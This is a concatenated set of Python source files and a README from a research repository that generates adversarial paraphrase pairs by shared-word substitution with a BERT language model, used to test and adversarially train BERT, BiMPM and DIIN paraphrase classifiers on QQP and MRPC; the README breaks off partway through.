print(' ', ' '.join(res['sent_b']))
adv.append({
'sent_a': ' '.join(res['sent_a']),
'sent_b': ' '.join(res['sent_b']),
'sent_a_original': ' '.join(sent_a),
'sent_b_original': ' '.join(sent_b),
'label': label
})
else:
if verbose:
print(' Failed')
print(' ', ' '.join(sent_a))
print(' ', ' '.join(sent_b))
if verbose:
print('Success rate (label=%d): %.5f' % (label, cnt * 1. / (t + 1)))
if (t + 1) % 10 == 0:
with open('tmp-%d-%s' % (label, self.adv_file), 'w') as file:
file.write(json.dumps({
'adv': adv,
'suc_rate': cnt * 1. / (t + 1),
'steps': t + 1
}))
return cnt * 1. / num, adv
def sample(self, data, num, label):
len_data = len(data)
sampled = []
cnt = 0
start_time = time.time()
for t in range(num):
if label == 1:
while True:
i = random.randint(0, len_data - 1)
if data[i]['label'] == 1:
sent_a = data[i]['sent_a']
sent_b = data[i]['sent_b']
break
elif label == 0:
while True:
i = random.randint(0, len_data - 1)
j = random.randint(0, len_data - 1)
sent_a = data[i]['sent_a']
sent_b = data[j]['sent_b']
c = 0
while i == j or \
abs(len(sent_b) - len(sent_a)) > self.max_sent_length_diff or\
sent_a[0].lower() == sent_b[0].lower():
j = random.randint(0, len_data - 1)
sent_b = data[j]['sent_b']
c += 1
if c >= 100: break
if c < 100: break
sampled.append((sent_a, sent_b))
return sampled
def evaluate(self, data, num, verbose=False):
sampled_pos = self.sample(data, num, 1)
sampled_neg = self.sample(data, num, 0)
if self.sample_only:
data_pos, data_neg = [], []
for t, (sent_a, sent_b) in enumerate(sampled_pos):
data_pos.append({
'sent_a': sent_a,
'sent_b': sent_b,
'label': 1
})
for t, (sent_a, sent_b) in enumerate(sampled_neg):
data_neg.append({
'sent_a': sent_a,
'sent_b': sent_b,
'label': 0
})
pred = self.target.step(
symbol2index(self.args, data_pos, self.vocab_char, self.vocab_word), attack=True)[2]
suc_pos, adv_pos = 0., []
for i in range(len(pred)):
if pred[i] == 0:
suc_pos += 1
adv_pos.append(data_pos[i])
suc_pos = suc_pos * 1. / len(pred)
pred = self.target.step(
symbol2index(self.args, data_neg, self.vocab_char, self.vocab_word), attack=True)[2]
suc_neg, adv_neg = 0., []
for i in range(len(pred)):
if pred[i] == 1:
suc_neg += 1
adv_neg.append(data_neg[i])
suc_neg = suc_neg * 1. / len(pred)
elif self.first_attack == 1:
suc_pos, adv_pos = self._evaluate(sampled_pos, verbose, 1)
suc_neg, adv_neg = self._evaluate(sampled_neg, verbose, 0)
else:
suc_neg, adv_neg = self._evaluate(sampled_neg, verbose, 0)
suc_pos, adv_pos = self._evaluate(sampled_pos, verbose, 1)
if verbose:
print('Success rate (pos) : %.5f' % suc_pos)
print('Success rate (neg) : %.5f' % suc_neg)
with open(self.adv_file, 'w') as file:
file.write(json.dumps({
'adv_pos': adv_pos,
'adv_neg': adv_neg,
'suc_pos': suc_pos,
'suc_neg': suc_neg
}))
return suc_pos, suc_neg
def query(self, sent_a_list, sent_b_list, label):
non_batch = (type(sent_a_list[0]) != type([]))
if non_batch:
sent_a_list, sent_b_list = [sent_a_list], [sent_b_list]
n = len(sent_a_list)
examples = [
{ 'sent_a': sent_a_list[i], 'sent_b': sent_b_list[i], 'label': label, 'src': i }\
for i in range(n)
]
res = [None] * n
r = self.target.step(
symbol2index(self.args, examples, self.vocab_char, self.vocab_word), attack=True)[2]
for i in range(n):
if r[i] != label:
res[i] = examples[i]
examples = [[example] for example in examples]
sum_time_lm = 0.
sum_time_target = 0.
for t in range(self.max_num_steps):
num_candidates = [0] * n
candidates = []
sent = []
for k in range(n):
if res[k] is not None: continue
if len(examples[k]) == 0: continue
for bid, example in enumerate(examples[k]):
sent.append([w.lower() for w in example['sent_a']])
sent.append([w.lower() for w in example['sent_b']])
pos = nltk.pos_tag_sents(sent)
dedup = {}
for k in range(n):
if res[k] is not None: continue
if len(examples[k]) == 0: continue
for bid, example in enumerate(examples[k]):
pos_a = pos[0]
pos_b = pos[1]
pos = pos[2:]
cand = []
for i in range(len(pos_a)):
for j in range(len(pos_b)):
if not (pos_a[i][0].lower() in self.vocab_word.stopwords) and \
not (pos_b[j][0].lower() in self.vocab_word.stopwords) and \
pos_a[i][1][0] in ['N', 'V', 'J'] and \
pos_b[j][1][0] in ['N', 'V', 'J'] and \
pos_a[i][1][0] == pos_b[j][1][0] and \
(label == 0 or pos_a[i][0] == pos_b[j][0]):
sent_a = example['sent_a'][:i] + \
[self.PAD] + example['sent_a'][i+1:]
sent_b = example['sent_b'][:j] + \
[self.PAD] + example['sent_b'][j+1:]
sent_a_join = ' '.join(sent_a)
sent_b_join = ' '.join(sent_b)
if (sent_a_join, sent_b_join) in dedup:
continue
dedup[(sent_a_join, sent_b_join)] = 1
cand.append({
'sent_a': sent_a,
'sent_b': sent_b,
'label': label,
'src': example['src']
})
if len(cand) > self.max_num_candidates:
random.shuffle(cand)
cand = cand[:self.max_num_candidates]
num_candidates[k] += len(cand)
candidates += cand
if len(candidates) == 0:
if non_batch: res = res[0]
return res
candidates = symbol2index(self.args, candidates, self.vocab_char, self.vocab_word)
start_time = time.time()
pred, error = [], []
for batch in get_batches(self.args, candidates, self.query_batch_size):
r = self.target.step(batch, attack=True)
pred += list(r[2])
error += list(r[3])
sum_time_target += time.time() - start_time
if label == 1:
for i in range(len(candidates)):
error[i] = 1 - error[i]
rank = sorted(range(len(candidates)), key=lambda idx: error[idx], reverse=True)
for k in range(n):
if res[k] is not None: continue
if len(examples[k]) == 0: continue
examples[k] = [candidates[idx] for idx in rank[:self.beam_size]]
rank = rank[self.beam_size:]
num_candidates = [0] * n
candidates = []
prefixes, suffixes = [], []
dedup = {}
for k in range(n):
if res[k] is not None: continue
if len(examples[k]) == 0: continue
for bid, example in enumerate(examples[k]):
idx_i, idx_j = 0, 0
while example['sent_a'][idx_i] != self.PAD: idx_i += 1
while example['sent_b'][idx_j] != self.PAD: idx_j += 1
i, j = idx_i, idx_j
prefix_a = example['sent_a'][max(0, i-self.lm_gram):i]
suffix_a = example['sent_a'][i+1:i+self.lm_gram+1]
prefixes.append(prefix_a)
suffixes.append(suffix_a)
prefix_b = example['sent_b'][max(0, j-self.lm_gram):j]
suffix_b = example['sent_b'][j+1:j+self.lm_gram+1]
prefixes.append(prefix_b)
suffixes.append(suffix_b)
lm_pred = []
for i in range((len(prefixes) + self.lm_batch_size - 1) // self.lm_batch_size):
p = prefixes[i * self.lm_batch_size : (i + 1) * self.lm_batch_size]
s = suffixes[i * self.lm_batch_size : (i + 1) * self.lm_batch_size]
for pred in self.lm.get_pred(p, s):
lm_pred.append(pred.reshape((1, -1)))
lm_pred = torch.cat(lm_pred, dim=0)
for k in range(n):
if res[k] is not None: continue
if len(examples[k]) == 0: continue
for bid, example in enumerate(examples[k]):
idx_i, idx_j = 0, 0
while example['sent_a'][idx_i] != self.PAD: idx_i += 1
while example['sent_b'][idx_j] != self.PAD: idx_j += 1
cand = []
start_time = time.time()
i, j = idx_i, idx_j
pred_a = lm_pred[0]
pred_b = lm_pred[1]
lm_pred = lm_pred[2:]
cnt_a, cnt_b = {}, {}
for w in example['sent_a']:
if not w.lower() in cnt_a: cnt_a[w.lower()] = 1
else: cnt_a[w.lower()] += 1
for w in example['sent_b']:
if not w.lower() in cnt_b: cnt_b[w.lower()] = 1
else: cnt_b[w.lower()] += 1
cnt_a[example['sent_a'][idx_i].lower()] -= 1
cnt_b[example['sent_b'][idx_j].lower()] -= 1
predicted_index = torch.topk(pred_a * pred_b, self.lm_candidates)[1]
cand_words = self.lm.tokenizer.convert_ids_to_tokens([idx.item() for idx in predicted_index])
for w in cand_words:
if w in self.vocab_word.symbol2index and \
not (w in self.vocab_word.stopwords) and \
(not (w in cnt_a) or (cnt_a[w] == 0)) and \
(not (w in cnt_b) or (cnt_b[w] == 0)):
sent_a = example['sent_a'][:i] + [w] + example['sent_a'][i+1:]
sent_b = example['sent_b'][:j] + [w] + example['sent_b'][j+1:]
sent_a_join = ' '.join(sent_a)
sent_b_join = ' '.join(sent_b)
if (sent_a_join, sent_b_join) in dedup:
continue
dedup[(sent_a_join, sent_b_join)] = 1
cand.append({
'sent_a': sent_a,
'sent_b': sent_b,
'label': label,
'src': example['src']
})
if len(cand) > self.max_num_candidates:
random.shuffle(cand)
cand = cand[:self.max_num_candidates]
num_candidates[k] += len(cand)
candidates += cand
assert(len(lm_pred) == 0)
if len(candidates) == 0:
if non_batch: res = res[0]
return res
candidates = symbol2index(self.args, candidates, self.vocab_char, self.vocab_word)
start_time = time.time()
pred, error = [], []
for batch in get_batches(self.args, candidates, self.query_batch_size):
r = self.target.step(batch, attack=True)
pred += list(r[2])
error += list(r[3])
sum_time_target += time.time() - start_time
for k in range(n):
if res[k] is not None: continue
if num_candidates[k] == 0:
examples[k] = []
if len(examples[k]) == 0: continue
best, opt = -1, -1
for i in range(num_candidates[k]):
if label == 1:
error[i] = 1 - error[i]
rank = sorted(range(num_candidates[k]), key=lambda idx: error[idx], reverse=True)
if pred[rank[0]] != label:
res[k] = candidates[rank[0]]
else:
examples[k] = [candidates[idx] for idx in rank[:self.beam_size]]
candidates = candidates[num_candidates[k]:]
pred = pred[num_candidates[k]:]
error = error[num_candidates[k]:]
if non_batch: res = res[0]
return res
def generate_batch(self, label=0, verbose=False):
start_time = time.time()
sampled = self.sample(self.data, self.advgen_batch_size, label)
sent_a_list = [example[0] for example in sampled]
sent_b_list = [example[1] for example in sampled]
res = self.query(sent_a_list, sent_b_list, label)
data = []
for i in range(len(res)):
if res[i] is not None:
data.append(res[i])
if len(data) > 0:
print('successful')
else:
print('failed')
suc_rate = len(data) * 1. / len(res)
return data, suc_rate<file_sep># coding=utf-8
# Copyright 2018 The Google AI Language Team Authors and The HuggingFace Inc. team.
# Copyright (c) 2018, NVIDIA CORPORATION. All rights reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
"""BERT finetuning runner."""
from __future__ import absolute_import, division, print_function
import argparse
import csv
import logging
import os
import random
import sys
import shutil
import numpy as np
import torch
from torch.utils.data import (DataLoader, RandomSampler, SequentialSampler,
TensorDataset)
from torch.utils.data.distributed import DistributedSampler
from tqdm import tqdm, trange
from torch.nn import CrossEntropyLoss, MSELoss
from scipy.stats import pearsonr, spearmanr
from sklearn.metrics import matthews_corrcoef, f1_score
from pytorch_pretrained_bert.file_utils import PYTORCH_PRETRAINED_BERT_CACHE, WEIGHTS_NAME, CONFIG_NAME
from pytorch_pretrained_bert.modeling import BertConfig
from pytorch_pretrained_bert.tokenization import BertTokenizer
from pytorch_pretrained_bert.optimization import BertAdam, WarmupLinearSchedule
from .utils import convert_examples_to_features
from .modeling import BertForSequenceClassification
class BERT:
def __init__(self, args, num_train_examples):
self.max_seq_length = args.max_sent_length
self.train_batch_size = 32
self.eval_batch_size = 8
self.do_lower_case = True
self.learning_rate = 2e-5
self.warmup_proportion = 0.05
self.gradient_accumulation_steps = 1
self.seed = args.seed
self.num_labels = args.num_labels
self.label_list = [0, 1]
self.task = args.task
self.num_train_optimization_steps = \
(num_train_examples + args.batch_size - 1) // args.batch_size * 3
if args.adv_train:
self.warmup_proportion = 0
self.num_train_optimization_steps = 100000
self.device = torch.device("cuda" if torch.cuda.is_available() else "cpu")
self.bert_model = args.dir
if os.path.exists(os.path.join(self.bert_model, "checkpoint")):
with open(os.path.join(self.bert_model, "checkpoint")) as file:
self.bert_model = os.path.join(self.bert_model, "ckpt-%d" % (int(file.readline())))
print("BERT checkpoint:", self.bert_model)
torch.manual_seed(self.seed)
torch.cuda.manual_seed_all(self.seed)
self.tokenizer = BertTokenizer.from_pretrained(self.bert_model, do_lower_case=self.do_lower_case)
self.softmax = torch.nn.Softmax(dim=-1)
cache_dir = "cache/bert"
self.model = BertForSequenceClassification.from_pretrained(self.bert_model,
cache_dir=cache_dir,
num_labels=self.num_labels)
self.model.to(self.device)
self._build_trainer()
def _build_trainer(self):
param_optimizer = list(self.model.named_parameters())
no_decay = ['bias', 'LayerNorm.bias', 'LayerNorm.weight']
optimizer_grouped_parameters = [
{'params': [p for n, p in param_optimizer if not any(nd in n for nd in no_decay)], 'weight_decay': 0.01},
{'params': [p for n, p in param_optimizer if any(nd in n for nd in no_decay)], 'weight_decay': 0.0}
]
self.optimizer = BertAdam(optimizer_grouped_parameters,
lr=self.learning_rate,
warmup=self.warmup_proportion,
t_total=self.num_train_optimization_steps)
def save(self, epoch):
# Save a trained model, configuration and tokenizer
model_to_save = self.model.module if hasattr(self.model, 'module') else self.model # Only save the model it-self
# If we save using the predefined names, we can load using `from_pretrained`
output_dir = os.path.join(self.bert_model, "ckpt-%d" % epoch)
if os.path.exists(output_dir):
shutil.rmtree(output_dir)
os.mkdir(output_dir)
output_model_file = os.path.join(output_dir, WEIGHTS_NAME)
output_config_file = os.path.join(output_dir, CONFIG_NAME)
torch.save(model_to_save.state_dict(), output_model_file)
model_to_save.config.to_json_file(output_config_file)
self.tokenizer.save_vocabulary(output_dir)
print("BERT saved: %s" % output_dir)
def step(self, batch, is_train=False, requires_grad=False, attack=False):
features = convert_examples_to_features(
batch, self.label_list, self.max_seq_length, self.tokenizer)
input_ids = torch.tensor([f.input_ids for f in features], dtype=torch.long)
input_mask = torch.tensor([f.input_mask for f in features], dtype=torch.long)
segment_ids = torch.tensor([f.segment_ids for f in features], dtype=torch.long)
label_ids = torch.tensor([f.label_id for f in features], dtype=torch.long)
input_ids = input_ids.to(self.device)
input_mask = input_mask.to(self.device)
segment_ids = segment_ids.to(self.device)
label_ids = label_ids.to(self.device)
if is_train:
self.model.train()
embeddings_output, logits = self.model(input_ids, segment_ids, input_mask)
else:
self.model.eval()
if requires_grad:
grad = torch.enable_grad()
else:
grad = torch.no_grad()
with grad:
embeddings_output, logits = self.model(input_ids, segment_ids, input_mask)
loss_fct = CrossEntropyLoss()
loss = loss_fct(logits.view(-1, self.num_labels), label_ids.view(-1))
preds = self.softmax(logits)
prob = preds
error = 1 - preds[:, 0]
preds = torch.argmax(preds, dim=1)
result = self.acc_and_f1(preds.detach().cpu().numpy(), label_ids.cpu().numpy())
ret = [loss, result["acc"], preds, error]
if is_train:
loss.backward()
self.optimizer.step()
self.optimizer.zero_grad()
return ret
def simple_accuracy(self, preds, labels):
return (preds == labels).mean()
def acc_and_f1(self, preds, labels):
acc = self.simple_accuracy(preds, labels)
f1 = f1_score(y_true=labels, y_pred=preds)
return {
"acc": acc,
"f1": f1,
"acc_and_f1": (acc + f1) / 2,
}
<file_sep>import numpy as np
import json, re, os, nltk, pickle, gzip, random
from tqdm import tqdm
from multiprocessing import Pool
from vocab import Vocab
from models.DIIN.util.data_processing import is_exact_match
if not os.path.exists('cache'): os.mkdir('cache')
def save_json(filename, data):
with open(filename, 'w') as file:
file.write(json.dumps(data))
def tokenize(sent):
return nltk.word_tokenize(sent)
def parse_line_quora(line):
l = line.split('\t')
example = {
'sent_a': tokenize(l[1]),
'sent_b': tokenize(l[2]),
'label': int(l[0])
}
example['sent_a_pos'] = nltk.pos_tag([w.lower() for w in example['sent_a']])
example['sent_b_pos'] = nltk.pos_tag([w.lower() for w in example['sent_b']])
return example
def parse_line_mrpc(line):
if (line[-1] == '\n'): line = line[:-1]
l = line.split('\t')
example = {
'sent_a': tokenize(l[3]),
'sent_b': tokenize(l[4]),
'label': int(l[0])
}
example['sent_a_pos'] = nltk.pos_tag([w.lower() for w in example['sent_a']])
example['sent_b_pos'] = nltk.pos_tag([w.lower() for w in example['sent_b']])
return example
def build_vocab(args, data):
path = 'cache/vocab_%s_%s.pkl' % (args.data, args.target)
if os.path.exists(path):
print('Loading cached vocabulary...')
with open(path, 'rb') as file:
vocab_char, vocab_word = pickle.load(file)
return vocab_char, vocab_word
print('Building vocabulary...')
vocab = {}
all_sents = []
for q in data:
if args.task == 'classification':
all_sents.append(q['sent_a'])
all_sents.append(q['sent_b'])
elif args.task == 'ranking':
all_sents.append(q['query'])
for cand in q['candidates']:
all_sents.append(cand['sent'])
else:
raise NotImplementedError
for sent in all_sents:
for token in sent:
t = token.lower()
if t in vocab:
vocab[t] += 1
else:
vocab[t] = 1
vocab_list = sorted(vocab, key=vocab.get, reverse=True)
vocab_char = Vocab(args.dim_char_embed, args, random_init=True)
vocab_word = Vocab(args.dim_word, args)
print('Loading word vectors...')
vectors = {}
if not args.debug:
with open(args.word_vector) as f_in:
for line in f_in:
line = line.split(' ')
vectors[line[0]] = list(map(float, line[1:]))
cnt_pretrained = 0
for i, word in enumerate(vocab_list):
for c in word:
if not c in vocab_char.symbol2index:
vocab_char.add(c)
if word in vectors:
vocab_word.add(word, vectors[word])
cnt_pretrained += 1
else:
vocab_word.add(word)
print('Pre-trained word vectors: %d/%d' % (cnt_pretrained, vocab_word.size))
print('Number of chars:', vocab_char.size)
with open(path, 'wb') as file:
pickle.dump((vocab_char, vocab_word), file)
return vocab_char, vocab_word
class PBar:
def __init__(self):
pass
def set_total(self, tot):
self.bar = tqdm(total=tot)
def update(self):
self.bar.update(1)
pbar = PBar()
def generate_exact_match_features(example):
em_a = np.zeros(len(example['sent_a']))
em_b = np.zeros(len(example['sent_b']))
for i, w1 in enumerate(example['sent_a']):
for j, w2 in enumerate(example['sent_b']):
if is_exact_match(w1, w2):
em_a[i] = em_b[j] = 1
example['em_a'], example['em_b'] = em_a, em_b
pbar.update()
return example
def symbol2index(args, data, vocab_char, vocab_word):
def get_idx(sent):
if len(sent) > args.max_sent_length:
sent = sent[:args.max_sent_length]
char_idx, word_idx = [], []
for word in sent:
idx = []
for c in word:
if len(idx) == args.max_char_per_word: break
idx.append(vocab_char.get(c))
char_idx.append(idx)
word_idx.append(vocab_word.get(word))
if len(word_idx) < args.max_sent_length:
char_idx.append([vocab_char.EOS_ID])
word_idx.append(vocab_word.EOS_ID)
return char_idx, word_idx
for example in data:
example['char_idx_a'], example['word_idx_a'] = get_idx(example['sent_a'])
example['char_idx_b'], example['word_idx_b'] = get_idx(example['sent_b'])
if args.use_exact_match:
print('Generating exact-match features...')
pbar.set_total(len(data) // args.cpus)
with Pool(processes=args.cpus) as pool:
data = pool.map(generate_exact_match_features, data)
return data
def load_data_raw(args, set):
path = 'data/%s/%s.tsv' % (args.data, set)
print('Loading data from ' + path)
inp = []
with open(path) as file:
for line in file.readlines():
if line[0] != '-':
inp.append(line)
if args.data == 'qqp' or args.data == 'paws_qqp':
with Pool(processes=args.cpus) as pool:
data = pool.map(parse_line_quora, inp)
elif args.data == 'mrpc':
data = [parse_line_mrpc(line) for line in inp[1:]]
else:
raise NotImplementedError
return data
def load_paws_test(args):
assert(args.data == 'qqp')
path = 'data/paws_qqp/test.tsv'
print('Loading data from ' + path)
inp = []
with open(path) as file:
for line in file.readlines():
if line[0] != '-':
inp.append(line)
with Pool(processes=args.cpus) as pool:
data = pool.map(parse_line_quora, inp)
return data
def load_data(args):
path_train = 'cache/data_{}_train.pkl'.format(args.data)
path_valid = 'cache/data_{}_valid.pkl'.format(args.data)
path_test = 'cache/data_{}_test.pkl'.format(args.data)
path_vocab = 'cache/vocab_{}.pkl'.format(args.data)
if os.path.exists(path_train) and os.path.exists(path_valid) and \
os.path.exists(path_test) and os.path.exists(path_vocab):
print('Loading cached common data...')
if args.pre_train or args.adv_train:
with open(path_train, 'rb') as file: data_train = pickle.load(file)
else:
data_train = []
with open(path_valid, 'rb') as file: data_valid = pickle.load(file)
with open(path_test, 'rb') as file: data_test = pickle.load(file)
with open(path_vocab, 'rb') as file: vocab_char, vocab_word = pickle.load(file)
else:
data_train = load_data_raw(args, 'train')
vocab_char, vocab_word = build_vocab(args, data_train)
data_train = symbol2index(args, data_train, vocab_char, vocab_word)
data_valid = symbol2index(args, load_data_raw(args, 'dev'), vocab_char, vocab_word)
data_test = symbol2index(args, load_data_raw(args, 'test'), vocab_char, vocab_word)
with open(path_train, 'wb') as file: pickle.dump(data_train, file)
with open(path_valid, 'wb') as file: pickle.dump(data_valid, file)
with open(path_test, 'wb') as file: pickle.dump(data_test, file)
with open(path_vocab, 'wb') as file: pickle.dump((vocab_char, vocab_word), file)
return data_train, data_valid, data_test, vocab_char, vocab_word
def get_batches(args, data, batch_size):
batches = []
for i in range((len(data) + batch_size - 1) // batch_size):
batches.append(data[i * batch_size : (i + 1) * batch_size])
return batches
def sample_data(args, data):
from tools.dump import write_for_mturk
sampled = []
for _ in range(args.sample_num):
while True:
example = data[random.randint(0, len(data) - 1)]
if example['label'] == args.sample_label:
sampled.append({
'adv': 0,
'label': example['label'],
's1': ' '.join(example['sent_a']).lower(),
's2': ' '.join(example['sent_b']).lower()
})
break
if not os.path.exists(args.sample_output):
os.mkdir(args.sample_output)
write_for_mturk(args.sample_output, sampled)
print('Wrote to {}'.format(args.sample_output))
<file_sep>This part is based on https://github.com/huggingface/transformers.
<file_sep>This part is based on https://github.com/zhiguowang/BiMPM.
<file_sep>import argparse, os
class Parser(object):
def getParser(self):
parser = argparse.ArgumentParser()
parser.add_argument("--pre_train", action="store_true")
parser.add_argument("--adv_generate", action="store_true")
parser.add_argument("--adv_train", action="store_true")
parser.add_argument("--infer", action="store_true")
parser.add_argument("--test_paws", action="store_true")
parser.add_argument("--no_common_data", action="store_true")
parser.add_argument("--num_adv", type=int, default=500)
parser.add_argument("--max_num_steps", type=int, default=5)
parser.add_argument("--max_num_candidates", type=int, default=500)
parser.add_argument("--advgen_batch_size", type=int, default=100)
parser.add_argument("--query_batch_size", type=int, default=625)
parser.add_argument("--lm_batch_size", type=int, default=32)
parser.add_argument("--max_sent_length_diff", type=int, default=3)
parser.add_argument("--adv_file", type=str, default="adv.json")
parser.add_argument("--lm_gram", type=int, default=5)
parser.add_argument("--task", type=str, default="classification")
parser.add_argument("--use_dev", action="store_true")
parser.add_argument("--lm_candidates", type=int, default=25)
parser.add_argument("--beam_size", type=int, default=25)
parser.add_argument("--adv_steps_per_epoch", type=int, default=1000)
parser.add_argument("--adv_examples_per_step", type=int, default=3, help="for adversarial training")
parser.add_argument("--use_candwords_pos", action="store_false")
parser.add_argument("--first_attack", type=int, default=1)
parser.add_argument("--sample_only", action="store_true")
parser.add_argument("--adv_train_slow", action="store_true")
parser.add_argument("--lm", type=str, default="bert")
parser.add_argument("--textfooler_synonym_num", type=int, default=3)
parser.add_argument("--reset_adam", action="store_true")
parser.add_argument("--reset", action="store_true")
parser.add_argument("--debug", action="store_true")
parser.add_argument("--print_wrong_samples", action="store_true")
parser.add_argument("--use_torch", action="store_true")
parser.add_argument("--dir", type=str, default="dev")
parser.add_argument("--display_interval", type=int, default=50)
parser.add_argument("--fine_tune_steps", type=int, default=1000)
parser.add_argument("--seed", type=int, default=0)
parser.add_argument("--data", type=str, default="qqp", choices=['qqp', 'mrpc'])
parser.add_argument("--target", type=str, default="bert", choices=['bert', 'bimpm', 'diin'])
parser.add_argument("--word_vector", type=str, default="data/glove.840B.300d.txt")
parser.add_argument("--bert_model", type=str, default="bert_base")
parser.add_argument("--cpus", type=int, default=32)
# hyperparameters of the matching model
parser.add_argument("--batch_size", type=int, default=64)
parser.add_argument("--dim_word", type=int, default=300)
parser.add_argument("--dim_char_embed", type=int, default=20)
parser.add_argument("--dim_char_lstm", type=int, default=40)
parser.add_argument("--dim_char_cnn", type=int, default=32)
parser.add_argument("--num_chars", type=int, default=1500)
parser.add_argument("--max_sent_length", type=int, default=25)
parser.add_argument("--max_char_per_word", type=int, default=10)
parser.add_argument("--dropout", type=float, default=0.1)
parser.add_argument("--lr", type=float, default=0.0005)
parser.add_argument("--num_labels", type=int, default=2)
parser.add_argument("--use_exact_match", action="store_true")
parser.add_argument("--one_way_task", action="store_true")
parser.add_argument("--lr_decay", action="store_true")
parser.add_argument("--lowercase", action="store_false")
parser.add_argument("--use_sgd", action="store_true")
# sample data
parser.add_argument("--sample_data", action="store_true")
parser.add_argument("--sample_num", type=int, default=50)
parser.add_argument("--sample_label", type=int, default=0)
parser.add_argument("--sample_output", type=str, default=None)
return parser
def update_arguments(args):
if args.target == "diin":
args.no_common_data = True
args.lowercase = False
args.lr = 0.5
args.batch_size = 70
elif args.target == "bert":
args.use_torch = True
args.batch_size = 32
args.max_sent_length = 128
args.adv_examples_per_step = 2
if args.data == "qqp":
args.max_num_steps = 5
if args.target == "bimpm":
args.word_vector = "data/qqp/wordvec.txt"
elif args.data == "mrpc":
args.max_num_steps = 10
args.lm_candidates = args.beam_size = 40
args.use_candwords_pos = False
args.max_sent_length = 128
if args.target == "diin":
args.batch_size = 32
args.query_batch_size = 300
elif args.target == "bert":
args.batch_size = 16
if args.adv_train:
args.beam_size = 1
if not args.adv_train_slow:
args.lm_candidates = 10
if args.sample_only:
args.max_num_steps = 0
return args
<file_sep>import tensorflow as tf
import numpy as np
import nltk
from multiprocessing import Pool
class Vocab:
def __init__(self, dim_embed, args, random_init=False):
self.cpus = args.cpus
self.random_init = random_init
self.size = 0
self.symbols = []
self.symbol2index = {}
self.dim_embed = dim_embed
self.embed = []
self.simwords = []
self.build_stopwords()
self.PAD_ID = 0
self.add("PAD")
self.UNK_ID = 1
self.add("UNK")
self.EOS_ID = 2
self.add("EOS")
self.GO_ID = 3
self.add("GO")
def add(self, symbol, embed=None):
self.symbols.append(symbol)
self.symbol2index[symbol] = self.size
if embed is None:
if self.random_init:
self.embed.append(np.random.uniform(low=-0.05, high=0.05, size=self.dim_embed))
else:
self.embed.append(np.zeros(self.dim_embed, dtype=np.float32))
else:
self.embed.append(embed)
self.size += 1
def get(self, symbol):
symbol = symbol.lower()
if symbol in self.symbol2index:
return self.symbol2index[symbol]
else:
return self.UNK_ID
def build_embed(self, name, trainable=True):
self.build_stopwords() # TODO: to be removed
self.embed_init = np.array(self.embed, dtype=np.float32)
with tf.variable_scope("embedding"):
embed = tf.get_variable(
name, dtype=tf.float32,
initializer=self.embed_init, trainable=trainable)
def build_stopwords(self):
self.stopwords = set(nltk.corpus.stopwords.words('english'))
stopwords = ["?", ",", "af", "``", "and", ":", ".", "...", "thing",
"ya", "-", ";", '\'', "ye", "one", "things", "`", "b", "us", "something"
"nothin", "nothing", "none", "either", "-lrb-", "-rrb-", "even", "/", '[',
']', "\""]
for w in stopwords:
self.stopwords.add(w)
def build_candwords(self, data):
self.candwords = {}
for example in data:
for w in example["sent_a_pos"] + example["sent_b_pos"]:
if w[1][0] in ['N', 'V', 'J']:
self.candwords[w[0]] = True
<file_sep># Adversarial Paraphrase Identification
This is the code for our paper "Robustness to Modification with Shared Words in Paraphrase Identification" in Findings of EMNLP 2020.
The paper studies the adversarial robustness problem in paraphrase identification models.
On this task, we propose a method for generating adversarial examples, using adversarial modification with *shared words* (words shared by both two sentences in paraphrase identification).
Our method has two stages to query the target model and find optimal positions for word substitution and optimal substitution words respectively, where the candidate substitution words are generated using the BERT masked language model.
See examples below:
## Examples
### Label: Positive
| | Sentence P | Sentence Q |
| -------- | ------------------------------------------- | ----------------------------------------------------- |
| Original | What is ultimate **purpose** of **life** ? | What is the **purpose** of **life** , if not money ? |
| Modified | What is ultimate **measure** of **value**? | What is the **measure** of **value** , if not money ? |
### Label: Negative
| | Sentence P | Sentence Q |
| -------- | ------------------------------------- | --------------------------------------------- |
| Original | How can I get my **Gmail account** back ? | What is the best **school management** software ? |
| Modified | How can I get my **credit score** back ? | What is the best **credit score** software ? |
## Dependencies
* Python 3.7
* Download and extract [datasets](https://drive.google.com/file/d/1M1-vbDyqtL5ITAl0NuxgxPCixa9uFO3z/view?usp=sharing) to `data/`. The datasets include [QQP](https://www.quora.com/q/quoradata/First-Quora-Dataset-Release-Question-Pairs) and [MRPC](https://www.microsoft.com/en-us/download/details.aspx?id=52398).
* Download and extract [Glove word vectors](http://nlp.stanford.edu/data/glove.840B.300d.zip) to `data/`.
* Download and extract [pre-trained BERT base model](https://drive.google.com/file/d/1v84IQkuGNccwLzHyg3hl52U5ZsMT8ydV/view?usp=sharing) to this directory.
* Install PyTorch 1.1.0 (using conda as an example):
```bash
conda create --name para python=3.7
conda activate para
conda install pytorch==1.1.0 cudatoolkit=10.0 -c pytorch
```
* Install other Python libraries:
```bash
pip install -r requirements.txt
```
## Normally Pre-train the Models
To normally pre-train the models using clean examples:
* For BERT ([original](https://github.com/google-research/bert), [PyTorch version](https://github.com/huggingface/transformers)):
```bash
cp -r bert_base bert_qqp|bert_mrpc
python main.py --target bert --data qqp|mrpc --dir bert_qqp|bert_mrpc --pre_train
```
* For [BiMPM](https://github.com/zhiguowang/BiMPM) and [DIIN](https://github.com/YichenGong/Densely-Interactive-Inference-Network):
```bash
python main.py --target bimpm|diin --data qqp|mrpc --dir bimpm_qqp|bimpm_mrpc|diin_qqp|diin_mrpc --pre_train
```
We also release our pre-trained BERT models for paraphrase identification on QQP and MRPC. You may directly use them, by downloading and extracting the model checkpoints ([QQP](https://drive.google.com/file/d/1NdnDttXKNFvQy0vDk_KPiGBwmmYd3KEJ/view?usp=sharing) and [MRPC](https://drive.google.com/file/d/1YWlt4AFyi5aG_v7eJAtr1KWZq6xJ7foK/view?usp=sharing)) to the current directory.
## Generate Adversarial Examples
Generate adversarial examples to evaluate the robustness of the models to our proposed adversarial modifications:
```
python main.py --data qqp|mrpc --target bert|bimpm|diin --dir bert_qqp|bert_mrpc|bimpm_qqp|bimpm_mrpc|diin_qqp|diin_mrpc --adv_generate --adv_file OUTPUT_FILE
```
## Adversarial Training
Run adversarial training to improve robustness:
```
